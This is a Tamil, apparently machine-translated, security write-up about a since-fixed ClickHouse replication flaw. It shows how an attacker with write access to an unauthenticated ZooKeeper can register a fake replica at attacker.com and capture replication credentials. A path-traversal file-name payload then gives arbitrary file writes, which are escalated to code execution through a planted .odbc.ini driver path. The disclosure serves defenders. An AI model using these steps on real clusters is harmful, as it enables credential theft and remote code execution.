மிருகக்காட்சிசாலையின் கூண்டுகளை ஏன் மூடி வைக்க வேண்டும்?

மிருகக்காட்சிசாலையின் கூண்டுகளை ஏன் மூடி வைக்க வேண்டும்?

இந்தக் கட்டுரை கிளிக்ஹவுஸ் பிரதி நெறிமுறையில் உள்ள ஒரு குறிப்பிட்ட பாதிப்பின் கதையைச் சொல்லும், மேலும் தாக்குதல் மேற்பரப்பை எவ்வாறு விரிவுபடுத்தலாம் என்பதையும் காண்பிக்கும்.

ClickHouse என்பது பெரிய அளவிலான தரவைச் சேமிப்பதற்கான ஒரு தரவுத்தளமாகும், பெரும்பாலும் ஒன்றுக்கும் மேற்பட்ட பிரதிகளைப் பயன்படுத்துகிறது. கிளிக்ஹவுஸில் கிளஸ்டரிங் மற்றும் ரெப்ளிகேஷன் மேலே கட்டப்பட்டுள்ளன அப்பாச்சி மிருகக்காட்சிசாலைக்காரர் (ZK) மற்றும் எழுதும் உரிமைகள் தேவை.

இயல்புநிலை ZK நிறுவலுக்கு அங்கீகாரம் தேவையில்லை, எனவே காஃப்கா, ஹடூப், கிளிக்ஹவுஸ் ஆகியவற்றை உள்ளமைக்க ஆயிரக்கணக்கான ZK சேவையகங்கள் பொதுவில் கிடைக்கின்றன.

உங்கள் தாக்குதல் மேற்பரப்பைக் குறைக்க, ZooKeeper ஐ நிறுவும் போது நீங்கள் எப்போதும் அங்கீகாரம் மற்றும் அங்கீகாரத்தை உள்ளமைக்க வேண்டும்

நிச்சயமாக சில 0நாள் அடிப்படையிலான ஜாவா டீரியலைசேஷன்கள் உள்ளன, ஆனால் தாக்குபவர் கிளிக்ஹவுஸ் நகலெடுப்பதற்குப் பயன்படுத்தப்படும் ZooKeeper க்கு எழுதலாம் மற்றும் படிக்கலாம் என்று கற்பனை செய்து பாருங்கள்.

கிளஸ்டர் பயன்முறையில் கட்டமைக்கப்படும் போது, ​​ClickHouse விநியோகிக்கப்பட்ட வினவல்களை ஆதரிக்கிறது டி.டி.எல், ZK வழியாக கடந்து - அவர்களுக்கு முனைகள் தாளில் உருவாக்கப்படுகின்றன /clickhouse/task_queue/ddl.

உதாரணமாக, நீங்கள் ஒரு முனையை உருவாக்குகிறீர்கள் /clickhouse/task_queue/ddl/query-0001 உள்ளடக்கத்துடன்:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

அதன் பிறகு, ஹோஸ்ட்1 மற்றும் ஹோஸ்ட்2 ஆகிய கிளஸ்டர் சர்வர்களில் சோதனை அட்டவணை நீக்கப்படும். CREATE/ALTER/DROP வினவல்களை இயக்குவதையும் DDL ஆதரிக்கிறது.

பயமாக இருக்கிறதா? ஆனால் தாக்குபவர் சர்வர் முகவரிகளை எங்கே பெற முடியும்?

கிளிக்ஹவுஸ் பிரதி தனிப்பட்ட அட்டவணைகளின் மட்டத்தில் வேலை செய்கிறது, இதனால் ZK இல் ஒரு அட்டவணை உருவாக்கப்படும் போது, ​​மெட்டாடேட்டாவை பிரதிகளுடன் பரிமாறிக்கொள்வதற்குப் பொறுப்பான ஒரு சேவையகம் குறிப்பிடப்படுகிறது. எடுத்துக்காட்டாக, கோரிக்கையை செயல்படுத்தும் போது (ZK கட்டமைக்கப்பட வேண்டும், chXX - பிரதியின் பெயர், foobar - அட்டவணை பெயர்):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

முனைகள் உருவாக்கப்படும் பத்திகள் и மெட்டா.

உள்ளடக்கம் /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

இந்தக் கிளஸ்டரிலிருந்து தரவை ஒன்றிணைக்க முடியுமா? ஆம், பிரதி போர்ட் என்றால் (TCP/9009) சர்வரில் chXX-address ஃபயர்வால் மூடப்படாது மற்றும் நகலெடுப்பதற்கான அங்கீகாரம் கட்டமைக்கப்படாது. அங்கீகாரத்தை எவ்வாறு புறக்கணிப்பது?

ஒரு தாக்குபவர் ZK இல் உள்ள உள்ளடக்கங்களை வெறுமனே நகலெடுப்பதன் மூலம் ஒரு புதிய பிரதியை உருவாக்க முடியும் /clickhouse/tables/01-01/foobar/replicas/chXX மற்றும் அர்த்தத்தை மாற்றுகிறது host.

உள்ளடக்கம் /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

தாக்குபவரின் சேவையகத்தில் புதிய தரவுத் தொகுதி உள்ளது என்பதை நீங்கள் மற்ற பிரதிகளுக்குச் சொல்ல வேண்டும், அதை அவர்கள் எடுக்க வேண்டும் - ZK இல் ஒரு முனை உருவாக்கப்படுகிறது. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ஏகபோகமாக வளரும் கவுண்டர், நிகழ்வு பதிவில் கடைசியாக இருந்ததை விட அதிகமாக இருக்க வேண்டும்):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

எங்கே மூல_பிரதி - முந்தைய படியில் உருவாக்கப்பட்ட தாக்குதலாளியின் பிரதியின் பெயர், block_id - தரவு தொகுதி அடையாளங்காட்டி, கிடைக்கும் - "கெட் பிளாக்" கட்டளை (மற்றும் மற்ற செயல்பாடுகளுக்கான கட்டளைகள் இங்கே உள்ளன).

அடுத்து, ஒவ்வொரு பிரதியும் பதிவில் ஒரு புதிய நிகழ்வைப் படித்து, ஒரு தரவுத் தொகுதியைப் பெற தாக்குபவர் கட்டுப்படுத்தும் சேவையகத்திற்குச் செல்கிறது (பிரதி நெறிமுறை பைனரி, HTTP க்கு மேல் இயங்குகிறது). சேவையகம் attacker.com கோரிக்கைகளைப் பெறுவார்கள்:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX என்பது நகலெடுப்பதற்கான அங்கீகாரத் தரவு. சில சமயங்களில், இது முதன்மை ClickHouse நெறிமுறை மற்றும் HTTP நெறிமுறை வழியாக தரவுத்தளத்தை அணுகக்கூடிய கணக்காக இருக்கலாம். நீங்கள் பார்த்தது போல், தாக்குதல் மேற்பரப்பு மிகவும் பெரியதாகிறது, ஏனெனில் நகலெடுப்பதற்குப் பயன்படுத்தப்படும் ZooKeeper, அங்கீகாரம் உள்ளமைக்கப்படாமல் விடப்பட்டது.

ஒரு பிரதியிலிருந்து தரவுத் தொகுதியைப் பெறுவதற்கான செயல்பாட்டைப் பார்ப்போம், எல்லா பிரதிகளும் சரியான கட்டுப்பாட்டில் உள்ளன மற்றும் அவற்றுக்கிடையே நம்பிக்கை உள்ளது என்று முழு நம்பிக்கையுடன் எழுதப்பட்டுள்ளது.

மிருகக்காட்சிசாலையின் கூண்டுகளை ஏன் மூடி வைக்க வேண்டும்?
பிரதி செயலாக்க குறியீடு

செயல்பாடு கோப்புகளின் பட்டியலைப் படிக்கிறது, பின்னர் அவற்றின் பெயர்கள், அளவுகள், உள்ளடக்கங்கள், பின்னர் அவற்றை கோப்பு முறைமையில் எழுதுகிறது. கோப்பு முறைமையில் தரவு எவ்வாறு சேமிக்கப்படுகிறது என்பதை தனித்தனியாக விவரிப்பது மதிப்பு.

பல துணை அடைவுகள் உள்ளன /var/lib/clickhouse (உள்ளமைவு கோப்பிலிருந்து இயல்புநிலை சேமிப்பக அடைவு):

கொடிகள் - பதிவு செய்வதற்கான அடைவு கொடிகள், தரவு இழப்புக்குப் பிறகு மீட்பு பயன்படுத்தப்படுகிறது;
tmp, — தற்காலிக கோப்புகளை சேமிப்பதற்கான அடைவு;
பயனர்_கோப்புகள் — கோரிக்கைகளில் உள்ள கோப்புகளைக் கொண்ட செயல்பாடுகள் இந்தக் கோப்பகத்திற்கு வரம்புக்குட்பட்டவை (INTO OUTFILE மற்றும் பிற);
மெட்டா - அட்டவணை விளக்கங்களுடன் sql கோப்புகள்;
preprocessed_configs - இதிலிருந்து செயலாக்கப்பட்ட வழித்தோன்றல் உள்ளமைவு கோப்புகள் /etc/clickhouse-server;
தகவல்கள் - தரவுடனான உண்மையான அடைவு, இந்த விஷயத்தில் ஒவ்வொரு தரவுத்தளத்திற்கும் தனித்தனி துணை அடைவு இங்கே உருவாக்கப்படுகிறது (எடுத்துக்காட்டாக. /var/lib/clickhouse/data/default).

ஒவ்வொரு அட்டவணைக்கும், தரவுத்தள கோப்பகத்தில் ஒரு துணை அடைவு உருவாக்கப்படுகிறது. ஒவ்வொரு நெடுவரிசையும் ஒரு தனி கோப்பாகும் இயந்திர வடிவம். உதாரணமாக ஒரு அட்டவணைக்கு foobarதாக்குபவர் உருவாக்கினால், பின்வரும் கோப்புகள் உருவாக்கப்படும்:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

தரவுத் தொகுதியைச் செயலாக்கும்போது அதே பெயர்களைக் கொண்ட கோப்புகளைப் பெற பிரதி எதிர்பார்க்கிறது மற்றும் அவற்றை எந்த வகையிலும் சரிபார்க்காது.

ஒரு செயல்பாட்டில் கோப்பு_பெயரின் பாதுகாப்பற்ற இணைப்பைப் பற்றி கவனமுள்ள வாசகர் ஏற்கனவே கேள்விப்பட்டிருக்கலாம். WriteBufferFromFile. ஆம், இது பயனர் உரிமைகளுடன் FS இல் உள்ள எந்தவொரு கோப்பிற்கும் தன்னிச்சையான உள்ளடக்கத்தை எழுத தாக்குபவர் அனுமதிக்கிறது clickhouse. இதைச் செய்ய, தாக்குபவரால் கட்டுப்படுத்தப்படும் பிரதியானது கோரிக்கைக்கு பின்வரும் பதிலை வழங்க வேண்டும் (புரிந்து கொள்வதற்கு எளிதாக வரி முறிவுகள் சேர்க்கப்பட்டுள்ளன):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

மற்றும் இணைந்த பிறகு ../../../../../../../../../tmp/pwned கோப்பு எழுதப்படும் /tmp/pwned உள்ளடக்கத்துடன் hellofromzookeeper.

கோப்பு எழுதும் திறனை ரிமோட் கோட் எக்ஸிகியூஷனாக (RCE) மாற்ற பல விருப்பங்கள் உள்ளன.

RCE இல் வெளிப்புற அகராதிகள்

பழைய பதிப்புகளில், ClickHouse அமைப்புகளுடன் கூடிய அடைவு பயனர் உரிமைகளுடன் சேமிக்கப்பட்டது கிளிக்ஹவுஸ் இயல்புநிலை. அமைப்புகள் கோப்புகள் XML கோப்புகளாகும், அவை தொடக்கத்தில் சேவையைப் படித்து பின்னர் தற்காலிகமாக சேமிக்கப்படும் /var/lib/clickhouse/preprocessed_configs. மாற்றங்கள் ஏற்பட்டால், அவை மீண்டும் படிக்கப்படுகின்றன. உங்களுக்கு அணுகல் இருந்தால் /etc/clickhouse-server ஒரு தாக்குபவர் தனது சொந்த உருவாக்க முடியும் வெளிப்புற அகராதி இயங்கக்கூடிய வகை மற்றும் தன்னிச்சையான குறியீட்டை இயக்கவும். ClickHouse இன் தற்போதைய பதிப்புகள் இயல்பாக உரிமைகளை வழங்காது, ஆனால் சேவையகம் படிப்படியாக புதுப்பிக்கப்பட்டால், அத்தகைய உரிமைகள் அப்படியே இருக்கும். நீங்கள் கிளிக்ஹவுஸ் கிளஸ்டரை ஆதரிப்பதாக இருந்தால், அமைப்புகள் கோப்பகத்திற்கான உரிமைகளைச் சரிபார்க்கவும், அது பயனருக்குச் சொந்தமானதாக இருக்க வேண்டும் root.

ODBC முதல் RCE வரை

ஒரு தொகுப்பை நிறுவும் போது, ​​ஒரு பயனர் உருவாக்கப்படுகிறார் clickhouse, ஆனால் அதன் முகப்பு அடைவு உருவாக்கப்படவில்லை /nonexistent. இருப்பினும், வெளிப்புற அகராதிகளைப் பயன்படுத்தும் போது அல்லது வேறு காரணங்களுக்காக, நிர்வாகிகள் ஒரு கோப்பகத்தை உருவாக்குகிறார்கள் /nonexistent மற்றும் பயனர் கொடுக்க clickhouse அதை எழுத அணுகல் (SSZB! தோராயமாக மொழிபெயர்ப்பாளர்).

கிளிக்ஹவுஸ் ஆதரிக்கிறது ஓ.டி.பி.சி மற்றும் பிற தரவுத்தளங்களுடன் இணைக்க முடியும். ODBC இல், தரவுத்தள இயக்கி நூலகத்திற்கான பாதையை நீங்கள் குறிப்பிடலாம் (.so). ClickHouse இன் பழைய பதிப்புகள், கோரிக்கை ஹேண்ட்லரில் நேரடியாக இதைச் செய்ய உங்களை அனுமதித்தன, ஆனால் இப்போது இணைப்பு சரத்தின் மிகவும் கண்டிப்பான சரிபார்ப்பு சேர்க்கப்பட்டுள்ளது odbc-bridge, எனவே கோரிக்கையிலிருந்து இயக்கி பாதையை இனி குறிப்பிட முடியாது. ஆனால் மேலே விவரிக்கப்பட்ட பாதிப்பைப் பயன்படுத்தி தாக்குபவர் முகப்புக் கோப்பகத்தில் எழுத முடியுமா?

ஒரு கோப்பை உருவாக்குவோம் ~/.odbc.ini இந்த உள்ளடக்கத்துடன்:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

பின்னர் தொடக்கத்தில் SELECT * FROM odbc('DSN=lalala', 'test', 'test'); நூலகம் ஏற்றப்படும் test.so மற்றும் RCE பெற்றார் (நன்றி buglloc உதவிக்குறிப்புக்கு).

இவை மற்றும் பிற பாதிப்புகள் ClickHouse பதிப்பு 19.14.3 இல் சரி செய்யப்பட்டுள்ளன. உங்கள் ClickHouse மற்றும் ZooKeepers ஐ கவனித்துக் கொள்ளுங்கள்!

ஆதாரம்: www.habr.com

கருத்தைச் சேர்